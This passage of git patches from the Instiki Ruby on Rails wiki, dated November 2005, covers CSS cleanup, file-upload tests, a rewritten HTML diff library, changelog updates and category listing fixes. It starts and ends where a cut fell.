padding-right: 15px; color: #000; } +#TextileHelp h3 { font-size: 11px; font-weight: bold; font-weight: normal; margin: 0 0 5px 0; padding: 5px 0 0 0; } +#TextileHelp p { font-size: 10px; } -#TextileHelp table+h3 { - margin-top: 11px; -} +.rightHandSide { float: right; width: 147px; margin-left: 10px; padding-left: 20px; border-left: 1px dotted #ccc; } +.rightHandSide p { font-size: 10px; } -#TextileHelp table td { - font-size: 11px; - padding: 3px; - vertical-align: top; - border-top: 1px dotted #ccc; -} +.newsList { margin-top: 20px; } +.newsList p { margin-bottom:30px; } -#TextileHelp table td.arrow { - padding-right: 5px; - padding-left: 10px; - color: #999; -} - -#TextileHelp table td.label { - font-weight: bold; - white-space: nowrap; - font-size: 10px; - padding-right: 15px; - color: #000; -} - -#TextileHelp h3 { - font-size: 11px; - font-weight: bold; - font-weight: normal; - margin: 0 0 5px 0; - padding: 5px 0 0 0; -} - -#TextileHelp p { - font-size: 10px; -} - -.rightHandSide { - float: right; - width: 147px; - margin-left: 10px; - padding-left: 20px; - border-left: 1px dotted #ccc; -} - -.rightHandSide p { - font-size: 10px; -} - -.newsList { - margin-top: 20px; -} - -.newsList p { - margin-bottom:30px -} - -td {border:thin solid grey;} -table { - border: double black; - border-collapse: collapse; -} - -.byline { - padding-top: 15px; -} +table { border: double black; border-collapse: collapse; } +td { border:thin solid grey; } +.byline { padding-top: 15px; } /* Affects the display of "category: ..." */ -.property { - color: grey; - font-size: 10px; -} +.property { color: grey; font-size: 10px; } diff --git a/test/functional/file_controller_test.rb b/test/functional/file_controller_test.rb index b18862c0..4c6f4909 100755 --- a/test/functional/file_controller_test.rb +++ b/test/functional/file_controller_test.rb @@ -16,6 +16,7 @@ class FileControllerTest < Test::Unit::TestCase @request = ActionController::TestRequest.new @response = ActionController::TestResponse.new @web = webs(:test_wiki) + @wiki = Wiki.new WikiFile.delete_all require 'fileutils' FileUtils.rm_rf("#{RAILS_ROOT}/public/wiki1/files/*") @@ -61,37 +62,40 @@ class FileControllerTest < Test::Unit::TestCase assert_equal pic, r.body end -# def test_pic_unknown_pic -# r = process 'pic', 'web' => 'wiki1', 'id' => 'non-existant.gif' -# -# assert_success -# assert_rendered_file 'file/file' -# end -# -# def test_pic_upload_end_to_end -# # edit and re-render home page so that it has an "unknown file" link to 'rails-e2e.gif' -# @wiki.revise_page('wiki1', 'HomePage', '[[rails-e2e.gif:pic]]', Time.now, 'AnonymousBrave') -# assert_equal "

    rails-e2e.gif" + -# "?

    ", -# @home.display_content -# -# # rails-e2e.gif is unknown to the system, so pic action goes to the file [upload] form -# r = process 'pic', 'web' => 'wiki1', 'id' => 'rails-e2e.gif' -# assert_success -# assert_rendered_file 'file/file' -# -# # User uploads the picture -# picture = File.read("#{RAILS_ROOT}/test/fixtures/rails.gif") -# r = process 'pic', 'web' => 'wiki1', 'id' => 'rails-e2e.gif', 'file' => StringIO.new(picture) -# assert_redirect_url '/' -# assert @wiki.file_yard(@web).has_file?('rails-e2e.gif') -# assert_equal(picture, File.read("#{RAILS_ROOT}/storage/test/wiki1/rails-e2e.gif")) -# -# # this should refresh the page display content (cached) -# assert_equal "

    \"rails-e2e.gif\"

    ", -# @home.display_content -# end -# + def test_pic_unknown_pic + r = get :file, :web => 'wiki1', :id => 'non-existant.gif' + + assert_success + assert_rendered_file 'file/file' + end + + def test_pic_upload_end_to_end + # edit and re-render home page so that it has an "unknown file" link to 'rails-e2e.gif' + PageRenderer.setup_url_generator(StubUrlGenerator.new) + renderer = PageRenderer.new + @wiki.revise_page('wiki1', 'HomePage', '[[rails-e2e.gif:pic]]', + Time.now, 'AnonymousBrave', renderer) + assert_equal "

    rails-e2e.gif" + + "?

    ", + renderer.display_content + + # rails-e2e.gif is unknown to the system, so pic action goes to the file [upload] form + r = get :file, :web => 'wiki1', :id => 'rails-e2e.gif' + assert_success + assert_rendered_file 'file/file' + + # User uploads the picture + picture = File.read("#{RAILS_ROOT}/test/fixtures/rails.gif") + r = get :file, :web => 'wiki1', :id => 'rails-e2e.gif', :file => StringIO.new(picture) + assert_redirect_url '/' + assert @web.has_file?('rails-e2e.gif') + assert_equal(picture, File.read("#{RAILS_ROOT}/public/file/rails-e2e.gif")) + + # this should refresh the page display content (cached) + assert_equal "

    \"rails-e2e.gif\"

    ", + @home.display_content + end + # def test_pic_upload_end_to_end # # edit and re-render home page so that it has an "unknown file" link to 'rails-e2e.gif' # @wiki.revise_page('wiki1', 'HomePage', '[[instiki-e2e.txt:file]]', Time.now, 'AnonymousBrave', diff --git a/test/test_helper.rb b/test/test_helper.rb index fc2079f3..2dae41c9 100644 --- a/test/test_helper.rb +++ b/test/test_helper.rb @@ -150,8 +150,8 @@ class StubUrlGenerator < AbstractUrlGenerator if known_pic then %{#{text}} else %{#{text}} end else - if known_pic then %{#{text}} - else %{#{text}?} end + if known_pic then %{#{text}} + else %{#{text}?} end end end end diff --git a/test/unit/page_renderer_test.rb b/test/unit/page_renderer_test.rb index 00746bff..aabaccf3 100644 --- a/test/unit/page_renderer_test.rb +++ b/test/unit/page_renderer_test.rb @@ -282,20 +282,20 @@ class PageRendererTest < Test::Unit::TestCase FileUtils.rm_rf("#{RAILS_ROOT}/public/wiki1/files/*") @web.wiki_files.create(:file_name => 'square.jpg', :description => 'Square', :content => 'never mind') assert_markup_parsed_as( - '

    Square

    ', + '

    Square

    ', '[[square.jpg|Square:pic]]') assert_markup_parsed_as( - '

    square.jpg

    ', + '

    square.jpg

    ', '[[square.jpg:pic]]') end def test_link_to_non_existant_pic assert_markup_parsed_as( - '

    NonExistant?' + + '

    NonExistant?' + '

    ', '[[NonExistant.jpg|NonExistant:pic]]') assert_markup_parsed_as( - '

    NonExistant.jpg?' + + '

    NonExistant.jpg?' + '

    ', '[[NonExistant.jpg:pic]]') end From 8f33b8e5497452f0b2cfe052ea8188985e1b8f11 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 14 Nov 2005 10:13:18 +0000 Subject: [PATCH 422/529] HTML diff from I2 - works better than the original --- lib/diff.rb | 468 +++++++++++++++++++++++++++------------------------- 1 file changed, 241 insertions(+), 227 deletions(-) diff --git a/lib/diff.rb b/lib/diff.rb index 45c4ee63..24f9538a 100644 --- a/lib/diff.rb +++ b/lib/diff.rb @@ -32,27 +32,101 @@ module Enumerable end end +class Object + def nil_or_empty? + nil? or empty? + end +end + module Diff + module Utilities + def explode(sequence) + sequence.is_a?(String) ? sequence.split(//) : sequence + end + + def newline?(char) + %W(\n \r).include? char + end + + def tab?(char) + "\t" == char + end + + # XXX Could be more robust but unrecognized tags cause an infinite loop so + # better to be permissive + def open_tag?(char) + char =~ /\A<[^>]+>/ + end + + # See comment for open_tag? + def close_tag?(char) + char =~ %r!\A]+>! + end + + def end_of_tag?(char) + char == '>' + end + + def start_of_tag?(char) + char == '<' + end + + def html2list(x, use_brackets = false) + mode = :char + cur = '' + out = [] + + explode(x).each do |char| + case mode + when :tag + if end_of_tag? char + cur += use_brackets ? ']' : '>' + out.push cur + cur, mode = '', :char + else + cur += char + end + when :char + if start_of_tag? char + out.push cur + cur = use_brackets ? '[' : '<' + mode = :tag + elsif /\s/.match char + out.push cur + char + cur = '' + else + cur += char + end + end + end + + out.push(cur) + out.delete '' + out.map {|elt| newline?(elt) ? elt : elt.chomp} + end + end + class SequenceMatcher - def initialize(a=[''], b=[''], isjunk=nil, byline=false) - a = (!byline and a.kind_of? String) ? a.split(//) : a - b = (!byline and b.kind_of? String) ? b.split(//) : b - @isjunk = isjunk || proc {} - set_seqs a, b + include Utilities + + def initialize(a = [''], b = [''], isjunk = nil, byline = false) + a, b = explode(a), explode(b) unless byline + @isjunk = isjunk || Proc.new {} + set_sequences a, b end - def set_seqs(a, b) - set_seq_a a - set_seq_b b + def set_sequences(a, b) + set_sequence_a a + set_sequence_b b end - def set_seq_a(a) + def set_sequence_a(a) @a = a @matching_blocks = @opcodes = nil end - def set_seq_b(b) + def set_sequence_b(b) @b = b @matching_blocks = @opcodes = nil chain_b @@ -60,28 +134,26 @@ module Diff def chain_b @fullbcount = nil - @b2j = {} - pophash = {} + @b2j = {} + pophash = {} junkdict = {} - @b.each_with_index do |elt, i| + @b.each_with_index do |elt, idx| if @b2j.has_key? elt indices = @b2j[elt] if @b.length >= 200 and indices.length * 100 > @b.length pophash[elt] = 1 indices.clear else - indices.push i + indices.push idx end else - @b2j[elt] = [i] + @b2j[elt] = [idx] end end pophash.each_key { |elt| @b2j.delete elt } - junkdict = {} - unless @isjunk.nil? [pophash, @b2j].each do |d| d.each_key do |elt| @@ -93,24 +165,20 @@ module Diff end end - @isbjunk = junkdict.method(:has_key?) + @isbjunk = junkdict.method(:has_key?) @isbpopular = junkdict.method(:has_key?) end - def find_longest_match(alo, ahi, blo, bhi) - besti, bestj, bestsize = alo, blo, 0 + def find_longest_match(a_low, a_high, b_low, b_high) + besti, bestj, bestsize = a_low, b_low, 0 j2len = {} - (alo..ahi).step do |i| + (a_low..a_high).step do |i| newj2len = {} (@b2j[@a[i]] || []).each do |j| - if j < blo - next - end - if j >= bhi - break - end + next if j < b_low + break if j >= b_high k = newj2len[j] = (j2len[j - 1] || 0) + 1 if k > bestsize @@ -120,26 +188,21 @@ module Diff j2len = newj2len end - while besti > alo and bestj > blo and - not @isbjunk.call(@b[bestj-1]) and - @a[besti-1] == @b[bestj-1] - besti, bestj, bestsize = besti-1, bestj-1, bestsize+1 + while besti > a_low and bestj > b_low and not @isbjunk.call(@b[bestj - 1]) and @a[besti - 1] == @b[bestj - 1] + besti, bestj, bestsize = besti - 1, bestj - 1, bestsize + 1 end - while besti+bestsize < ahi and bestj+bestsize < bhi and - not @isbjunk.call(@b[bestj+bestsize]) and - @a[besti+bestsize] == @b[bestj+bestsize] + while besti + bestsize < a_high and bestj + bestsize < b_high and + not @isbjunk.call(@b[bestj + bestsize]) and + @a[besti + bestsize] == @b[bestj + bestsize] bestsize += 1 end - while besti > alo and bestj > blo and - @isbjunk.call(@b[bestj-1]) and - @a[besti-1] == @b[bestj-1] - besti, bestj, bestsize = besti-1, bestj-1, bestsize+1 + while besti > a_low and bestj > b_low and @isbjunk.call(@b[bestj - 1]) and @a[besti - 1] == @b[bestj - 1] + besti, bestj, bestsize = besti - 1, bestj - 1, bestsize + 1 end - while besti+bestsize < ahi and bestj+bestsize < bhi and - @isbjunk.call(@b[bestj+bestsize]) and + while besti + bestsize < a_high and bestj + bestsize < b_high and @isbjunk.call(@b[bestj+bestsize]) and @a[besti+bestsize] == @b[bestj+bestsize] bestsize += 1 end @@ -148,32 +211,27 @@ module Diff end def get_matching_blocks - return @matching_blocks unless @matching_blocks.nil? or - @matching_blocks.empty? + return @matching_blocks unless @matching_blocks.nil_or_empty? @matching_blocks = [] - la, lb = @a.length, @b.length - match_block_helper(0, la, 0, lb, @matching_blocks) - @matching_blocks.push [la, lb, 0] + size_of_a, size_of_b = @a.size, @b.size + match_block_helper(0, size_of_a, 0, size_of_b, @matching_blocks) + @matching_blocks.push [size_of_a, size_of_b, 0] end - def match_block_helper(alo, ahi, blo, bhi, answer) - i, j, k = x = find_longest_match(alo, ahi, blo, bhi) - if not k.zero? - if alo < i and blo < j - match_block_helper(alo, i, blo, j, answer) - end + def match_block_helper(a_low, a_high, b_low, b_high, answer) + i, j, k = x = find_longest_match(a_low, a_high, b_low, b_high) + unless k.zero? + match_block_helper(a_low, i, b_low, j, answer) if a_low < i and b_low < j answer.push x - if i + k < ahi and j + k < bhi - match_block_helper(i + k, ahi, j + k, bhi, answer) + if i + k < a_high and j + k < b_high + match_block_helper(i + k, a_high, j + k, b_high, answer) end end end def get_opcodes - unless @opcodes.nil? or @opcodes.empty? - return @opcodes - end + return @opcodes unless @opcodes.nil_or_empty? i = j = 0 @opcodes = answer = [] @@ -187,31 +245,29 @@ module Diff end answer.push [tag, i, ai, j, bj] if tag - i, j = ai + size, bj + size - answer.push [:equal, ai, i, bj, j] unless size.zero? - end - return answer + answer end # XXX: untested - def get_grouped_opcodes(n=3) + def get_grouped_opcodes(n = 3) codes = get_opcodes - if codes[0][0] == :equal - tag, i1, i2, j1, j2 = codes[0] + if codes.first.first == :equal + tag, i1, i2, j1, j2 = codes.first codes[0] = tag, [i1, i2 - n].max, i2, [j1, j2-n].max, j2 end - if codes[-1][0] == :equal - tag, i1, i2, j1, j2 = codes[-1] + if codes.last.first == :equal + tag, i1, i2, j1, j2 = codes.last codes[-1] = tag, i1, min(i2, i1+n), j1, min(j2, j1+n) end + nn = n + n group = [] codes.each do |tag, i1, i2, j1, j2| - if tag == :equal and i2-i1 > nn + if tag == :equal and i2 - i1 > nn group.push [tag, i1, [i2, i1 + n].min, j1, [j2, j1 + n].min] yield group group = [] @@ -219,226 +275,184 @@ module Diff group.push [tag, i1, i2, j1 ,j2] end end - if group and group.length != 1 and group[0][0] == :equal - yield group - end + yield group if group and group.size != 1 and group.first.first == :equal end def ratio matches = get_matching_blocks.reduce(0) do |sum, triple| - sum + triple[-1] + sum + triple.last end - Diff.calculate_ratio(matches, @a.length + @b.length) + Diff.calculate_ratio(matches, @a.size + @b.size) end def quick_ratio - if @fullbcount.nil? or @fullbcount.empty? + if @fullbcount.nil_or_empty? @fullbcount = {} @b.each do |elt| @fullbcount[elt] = (@fullbcount[elt] || 0) + 1 end end - avail = {} + avail = {} matches = 0 @a.each do |elt| - if avail.has_key? elt - numb = avail[elt] - else - numb = @fullbcount[elt] || 0 - end + numb = avail.has_key?(elt) ? avail[elt] : (@fullbcount[elt] || 0) avail[elt] = numb - 1 - if numb > 0 - matches += 1 - end + matches += 1 if numb > 0 end - Diff.calculate_ratio matches, @a.length + @b.length + Diff.calculate_ratio matches, @a.size + @b.size end def real_quick_ratio - la, lb = @a.length, @b.length - Diff.calculate_ratio([la, lb].min, la + lb) + size_of_a, size_of_b = @a.size, @b.size + Diff.calculate_ratio([size_of_a, size_of_b].min, size_of_a + size_of_b) end protected :chain_b, :match_block_helper end # end class SequenceMatcher - def self.calculate_ratio(matches, length) - return 1.0 if length.zero? - 2.0 * matches / length - end - - # XXX: untested - def self.get_close_matches(word, possibilities, n=3, cutoff=0.6) - unless n > 0 - raise "n must be > 0: #{n}" - end - unless 0.0 <= cutoff and cutoff <= 1.0 - raise "cutoff must be in (0.0..1.0): #{cutoff}" + class << self + def calculate_ratio(matches, length) + return 1.0 if length.zero? + 2.0 * matches / length end - result = [] - s = SequenceMatcher.new - s.set_seq_b word - possibilities.each do |x| - s.set_seq_a x - if s.real_quick_ratio >= cutoff and - s.quick_ratio >= cutoff and - s.ratio >= cutoff - result.push [s.ratio, x] + # XXX: untested + def get_close_matches(word, possibilities, n = 3, cutoff = 0.6) + raise "n must be > 0: #{n}" unless n > 0 + raise "cutoff must be in (0.0..1.0): #{cutoff}" unless cutoff.between 0.0..1.0 + + result = [] + sequence_matcher = Diff::SequenceMatcher.new + sequence_matcher.set_sequence_b word + possibilities.each do |possibility| + sequence_matcher.set_sequence_a possibility + if sequence_matcher.real_quick_ratio >= cutoff and + sequence_matcher.quick_ratio >= cutoff and + sequence_matcher.ratio >= cutoff + result.push [sequence_matcher.ratio, possibility] + end end + + unless result.nil_or_empty? + result.sort + result.reverse! + result = result[-n..-1] + end + result.map {|score, x| x } end - - unless result.nil? or result.empty? - result.sort - result.reverse! - result = result[-n..-1] - end - result.collect { |score, x| x } - end - def self.count_leading(line, ch) - i, n = 0, line.length - while i < n and line[i].chr == ch - i += 1 + def count_leading(line, ch) + count, size = 0, line.size + count += 1 while count < size and line[count].chr == ch + count end - i end end - module HTMLDiff include Diff class Builder VALID_METHODS = [:replace, :insert, :delete, :equal] def initialize(a, b) - @a = a - @b = b + @a, @b = a, b @content = [] end def do_op(opcode) @opcode = opcode - op = @opcode[0] - VALID_METHODS.include?(op) or raise(NameError, "Invalid opcode #{op}") - self.method(op).call + op = @opcode.first + raise NameError, "Invalid opcode '#{op}'" unless VALID_METHODS.include? op + send op end def result - @content.join('') + @content.join end - #this methods have to be called via do_op(opcode) so that @opcode is set properly + # These methods have to be called via do_op(opcode) so that @opcode is set properly private - def replace - delete("diffmod") - insert("diffmod") - end - - def insert(tagclass="diffins") - op_helper("ins", tagclass, @b[@opcode[3]...@opcode[4]]) - end - - def delete(tagclass="diffdel") - op_helper("del", tagclass, @a[@opcode[1]...@opcode[2]]) - end - - def equal - @content += @b[@opcode[3]...@opcode[4]] - end - - # using this as op_helper would be equivalent to the first version of diff.rb by Bill Atkins - def op_helper_simple(tagname, tagclass, to_add) - @content << "<#{tagname} class=\"#{tagclass}\">" - @content += to_add - @content << "" - end - - # this tries to put

    tags or newline chars before the opening diff tags ( or ) - # or after the ending diff tags - # as a result the diff tags should be the "more inside" possible. - # this seems to work nice with html containing only paragraphs - # but not sure it works if there are other tags (div, span ... ? ) around - def op_helper(tagname, tagclass, to_add) - @content << to_add.shift while ( HTMLDiff.is_newline(to_add.first) or - HTMLDiff.is_p_close_tag(to_add.first) or - HTMLDiff.is_p_open_tag(to_add.first) ) - @content << "<#{tagname} class=\"#{tagclass}\">" - @content += to_add - last_tags = [] - last_tags.unshift(@content.pop) while ( HTMLDiff.is_newline(@content.last) or - HTMLDiff.is_p_close_tag(@content.last) or - HTMLDiff.is_p_open_tag(@content.last) ) - last_tags.unshift "" - @content += last_tags - remove_empty_diff(tagname, tagclass) - end - - def remove_empty_diff(tagname, tagclass) - if @content[-2] == "<#{tagname} class=\"#{tagclass}\">" and @content[-1] == "" then - @content.pop - @content.pop + def replace + delete('diffmod') + insert('diffmod') + end + + def insert(tagclass = 'diffins') + op_helper('ins', tagclass, @b[@opcode[3]...@opcode[4]]) + end + + def delete(tagclass = 'diffdel') + op_helper('del', tagclass, @a[@opcode[1]...@opcode[2]]) + end + + def equal + @content += @b[@opcode[3]...@opcode[4]] end - end - - end - - def self.is_newline(x) - (x == "\n") or (x == "\r") or (x == "\t") - end - - def self.is_p_open_tag(x) - x =~ /\A<(p|li|ul|ol|dir|dt|dl)/ - end - - def self.is_p_close_tag(x) - x =~ %r!\A' - out.push(cur) - cur = '' - mode = :char + # Using this as op_helper would be equivalent to the first version of diff.rb by Bill Atkins + def op_helper_simple(tagname, tagclass, to_add) + @content << %(<#{tagname} class="#{tagclass}">) << to_add << %() + end + + # Tries to put

    tags or newline chars before the opening diff tags ( or ) + # or after the ending diff tags. + # As a result the diff tags should be the "most inside" possible. + def op_helper(tagname, tagclass, to_add) + predicate_methods = [:tab?, :newline?, :close_tag?, :open_tag?] + content_to_skip = Proc.new do |item| + predicate_methods.any? {|predicate| HTMLDiff.send(predicate, item)} end - elsif mode == :char - if c == '<' - out.push cur - cur = c - mode = :tag - elsif c =~ /\s/ - out.push cur + c - cur = '' + + unless to_add.any? {|element| content_to_skip.call element} + @content << wrap_text(to_add, tagname, tagclass) else - cur += c + loop do + @content << to_add and break if to_add.all? {|element| content_to_skip.call element} + # We are outside of a diff tag + @content << to_add.shift while content_to_skip.call to_add.first + @content << %(<#{tagname} class="#{tagclass}">) + # We are inside a diff tag + @content << to_add.shift until content_to_skip.call to_add.first + @content << %() + end end + #remove_empty_diff(tagname, tagclass) end - end - out.push cur - out.find_all { |x| x != '' } + def wrap_text(text, tagname, tagclass) + %(<#{tagname} class="#{tagclass}">#{text}) + end + + def remove_empty_diff(tagname, tagclass) + @content = @content[0...-2] if last_elements_empty_diff?(@content, tagname, tagclass) + end + + def last_elements_empty_diff?(content, tagname, tagclass) + content[-2] == %(<#{tagname} class="#{tagclass}">) and content.last == %() + end end + class << self + include Diff::Utilities + + def diff(a, b) + a, b = html2list(explode(a)), html2list(explode(b)) + + out = Builder.new(a, b) + sequence_matcher = Diff::SequenceMatcher.new(a, b) + + sequence_matcher.get_opcodes.each {|opcode| out.do_op(opcode)} + + out.result + end + end end + +if __FILE__ == $0 + if ARGV.size == 2 + puts HTMLDiff.diff(IO.read(ARGV.pop), IO.read(ARGV.pop)) + else + puts "Usage: html_diff file1 file2" + end +end From 42098e0a9f1103cf4ce5169f804ca913ef50b72f Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 14 Nov 2005 10:17:27 +0000 Subject: [PATCH 423/529] Documented the last commit --- CHANGELOG | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/CHANGELOG b/CHANGELOG index 053624e6..943a73c0 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,10 +1,11 @@ * TRUNK: SQL-based backend (ActiveRecord) - Fixed --daemon option + File uploads (finally) + Upgraded to Rails 0.14.3 (also know as 1.0 RC 4) Replaced internal link generator with routing - Upgraded to Rails 0.14.3 - Re-enabled file uploads - Removed gem and native OS X distributions + Fixed --daemon option + Removed Rubygem and native OS X distributions + More accurate "See Changes" * 0.10.2: Upgraded to Rails 0.13.1 From 614a48c6ff61183d3a2fbdf73a65863d64bdc1d2 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 14 Nov 2005 11:00:46 +0000 Subject: [PATCH 424/529] Exclude links to files and pages from All Pages (so that they don't show up in Wanted Pages etc). --- app/controllers/wiki_controller.rb | 13 ++++++------- app/models/page.rb | 4 ++++ app/models/page_set.rb | 6 ++---- app/models/wiki_reference.rb | 23 +++++++++++++++++++---- app/views/wiki/list.rhtml | 4 ++-- lib/page_renderer.rb | 28 +++++++++++++++------------- public/stylesheets/instiki.css | 12 ++++++------ 7 files changed, 54 insertions(+), 36 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index dbed5666..7ed3c4d5 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -115,7 +115,6 @@ class WikiController < ApplicationController def list parse_category - @pages_by_name = @pages_in_category.by_name @page_names_that_are_wanted = @pages_in_category.wanted_pages @pages_that_are_orphaned = @pages_in_category.orphaned_pages end @@ -334,15 +333,15 @@ class WikiController < ApplicationController end def parse_category - @category = @params['category'] @categories = WikiReference.list_categories.sort - page_names_in_category = WikiReference.pages_in_category(@category) - if (page_names_in_category.empty?) + @category = @params['category'] + if @category + @set_name = "category '#{@category}'" + @pages_in_category = WikiReference.pages_in_category(@category).map { |page_name| @web.page(page_name) }.by_name + else + # no category specified, return all pages of the web @pages_in_category = @web.select_all.by_name @set_name = 'the web' - else - @pages_in_category = @web.select { |page| page_names_in_category.include?(page.name) }.by_name - @set_name = "category '#{@category}'" end end diff --git a/app/models/page.rb b/app/models/page.rb index 1896ac5f..c5f48d43 100644 --- a/app/models/page.rb +++ b/app/models/page.rb @@ -63,6 +63,10 @@ class Page < ActiveRecord::Base web.select.pages_that_reference(name) end + def wiki_words + wiki_references.select { |ref| ref.wiki_word? }.map { |ref| ref.referenced_name } + end + def linked_from web.select.pages_that_link_to(name) end diff --git a/app/models/page_set.rb b/app/models/page_set.rb index 9589b36c..4ac08c00 100644 --- a/app/models/page_set.rb +++ b/app/models/page_set.rb @@ -85,10 +85,8 @@ class PageSet < Array def wiki_words self.inject([]) { |wiki_words, page| - wiki_words + page.wiki_references. - select { |ref| ref.link_type != WikiReference::CATEGORY }. - map { |ref| ref.referenced_name } - }.flatten.uniq + wiki_words + page.wiki_words + }.flatten.uniq.sort end end diff --git a/app/models/wiki_reference.rb b/app/models/wiki_reference.rb index 9f4534a7..4a8b6de6 100644 --- a/app/models/wiki_reference.rb +++ b/app/models/wiki_reference.rb @@ -5,9 +5,11 @@ class WikiReference < ActiveRecord::Base INCLUDED_PAGE = 'I' CATEGORY = 'C' AUTHOR = 'A' + FILE = 'F' + WANTED_FILE = 'E' belongs_to :page - validates_inclusion_of :link_type, :in => [LINKED_PAGE, WANTED_PAGE, INCLUDED_PAGE, CATEGORY, AUTHOR] + validates_inclusion_of :link_type, :in => [LINKED_PAGE, WANTED_PAGE, INCLUDED_PAGE, CATEGORY, AUTHOR, FILE, WANTED_FILE] # FIXME all finders below MUST restrict their results to pages belonging to a particular web @@ -37,9 +39,10 @@ class WikiReference < ActiveRecord::Base end def self.pages_in_category(category) - query = 'SELECT name FROM pages JOIN wiki_references ON pages.id = wiki_references.page_id ' + + query = + 'SELECT name FROM pages JOIN wiki_references ON pages.id = wiki_references.page_id ' + 'WHERE wiki_references.referenced_name = ? ' + - "AND wiki_references.link_type = '#{CATEGORY}'" + "AND wiki_references.link_type = '#{CATEGORY}'" + names = connection.select_all(sanitize_sql([query, category])).map { |row| row['name'] } end @@ -48,10 +51,14 @@ class WikiReference < ActiveRecord::Base connection.select_all(query).map { |row| row['referenced_name'] } end - def wiki_link? + def wiki_word? linked_page? or wanted_page? end + def wiki_link? + linked_page? or wanted_page? or file? or wanted_file? + end + def linked_page? link_type == LINKED_PAGE end @@ -63,5 +70,13 @@ class WikiReference < ActiveRecord::Base def included_page? link_type == INCLUDED_PAGE end + + def file? + link_type == FILE + end + + def wanted_file? + link_type == WANTED_FILE + end end diff --git a/app/views/wiki/list.rhtml b/app/views/wiki/list.rhtml index d891f5a2..e1b584be 100644 --- a/app/views/wiki/list.rhtml +++ b/app/views/wiki/list.rhtml @@ -11,7 +11,7 @@ <% end %>

      - <% @pages_by_name.each do |page| %> + <% @pages_in_category.each do |page| %>
    • <%= link_to_existing_page page, truncate(page.plain_name, 35) %>
    • @@ -19,7 +19,7 @@ <% if @web.count_pages? %> <% total_chars = @pages_in_category.characters %> -

      All content: <%= total_chars %> chars / <%= sprintf("%-.1f", (total_chars / 2275 )) %> pages

      +

      All content: <%= total_chars %> chars / approx. <%= sprintf("%-.1f", (total_chars / 2275 )) %> printed pages

      <% end %> diff --git a/lib/page_renderer.rb b/lib/page_renderer.rb index f47238f4..d48bc2c4 100644 --- a/lib/page_renderer.rb +++ b/lib/page_renderer.rb @@ -66,11 +66,16 @@ class PageRenderer # Returns an array of all the WikiWords present in the content of this revision. def wiki_words - unless @wiki_words_cache - wiki_chunks = display_content.find_chunks(WikiChunk::WikiLink) - @wiki_words_cache = wiki_chunks.map { |c| ( c.escaped? ? nil : c.page_name ) }.compact.uniq - end - @wiki_words_cache + @wiki_words_cache ||= find_wiki_words(display_content) + end + + def find_wiki_words(rendering_result) + wiki_links = rendering_result.find_chunks(WikiChunk::WikiLink) + # Exclude backslash-escaped wiki words, such as \WikiWord, as well as links to files + # and pictures, such as [[foo.txt:file]] or [[foo.jpg:pic]] + wiki_links.delete_if { |link| link.escaped? or [:pic, :file].include?(link.link_type) } + # convert to the list of unique page names + wiki_links.map { |link| ( link.page_name ) }.uniq end # Returns an array of all the WikiWords present in the content of this revision. @@ -88,12 +93,8 @@ class PageRenderer private def render(options = {}) - rendering_result = WikiContent.new(@revision, @@url_generator, options).render! - - if options[:update_references] - update_references(rendering_result) - end + update_references(rendering_result) if options[:update_references] rendering_result end @@ -101,9 +102,10 @@ class PageRenderer WikiReference.delete_all ['page_id = ?', @revision.page_id] references = @revision.page.wiki_references - - wiki_word_chunks = rendering_result.find_chunks(WikiChunk::WikiLink) - wiki_words = wiki_word_chunks.map { |c| ( c.escaped? ? nil : c.page_name ) }.compact.uniq + + wiki_words = find_wiki_words(rendering_result) + # TODO it may be desirable to save links to files and pictures as WikiReference objects + # present version doesn't do it wiki_words.each do |referenced_name| # Links to self are always considered linked diff --git a/public/stylesheets/instiki.css b/public/stylesheets/instiki.css index 667fb8e9..b179271d 100644 --- a/public/stylesheets/instiki.css +++ b/public/stylesheets/instiki.css @@ -1,15 +1,12 @@ -body { background-color: #fff; color: #333; } +body { background-color: white; color: #333; } body, p, ol, ul, td { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 18px; } #Container { float: none; margin: 0 auto; text-align: center; } #Content { margin: 0; padding: 5px; text-align: left; border-top: none; float: left; } -a { color: #000; } +a { color: black; } a:visited { color: #666; } -a:hover { color: #fff; background-color:#000; } - -.newWikiWord { background-color: #eee; } -.newWikiWord a:hover { background-color: white; } +a:hover { color: white; background-color:#000; } h1, h2, h3 { color: #333; font-family: georgia, verdana, sans-serif; } h1 { font-size: 28px } @@ -22,6 +19,9 @@ h1#pageName small { color: #444; line-height: 10px; font-size: 10px; padding: 0; a.nav, a.nav:link, a.nav:visited { color: #000; } a.nav:hover { color: #fff; background-color:#000; } +.newWikiWord { background-color: #BFBFBF; } +.newWikiWord a:hover { background-color: white; } + li { margin-bottom: 7px } .navigation { margin-top: 5px; font-size : 12px; color: #999; } From a2cb9204895d010007ef4c54a74f76b02f004253 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 14 Nov 2005 11:07:14 +0000 Subject: [PATCH 425/529] Fixed All Pages with a category --- app/controllers/wiki_controller.rb | 3 ++- app/models/wiki_reference.rb | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 7ed3c4d5..e66ae58d 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -337,7 +337,8 @@ class WikiController < ApplicationController @category = @params['category'] if @category @set_name = "category '#{@category}'" - @pages_in_category = WikiReference.pages_in_category(@category).map { |page_name| @web.page(page_name) }.by_name + pages = WikiReference.pages_in_category(@category).sort.map { |page_name| @web.page(page_name) } + @pages_in_category = PageSet.new(@web, pages) else # no category specified, return all pages of the web @pages_in_category = @web.select_all.by_name diff --git a/app/models/wiki_reference.rb b/app/models/wiki_reference.rb index 4a8b6de6..26c9f29f 100644 --- a/app/models/wiki_reference.rb +++ b/app/models/wiki_reference.rb @@ -42,7 +42,7 @@ class WikiReference < ActiveRecord::Base query = 'SELECT name FROM pages JOIN wiki_references ON pages.id = wiki_references.page_id ' + 'WHERE wiki_references.referenced_name = ? ' + - "AND wiki_references.link_type = '#{CATEGORY}'" + + "AND wiki_references.link_type = '#{CATEGORY}'" names = 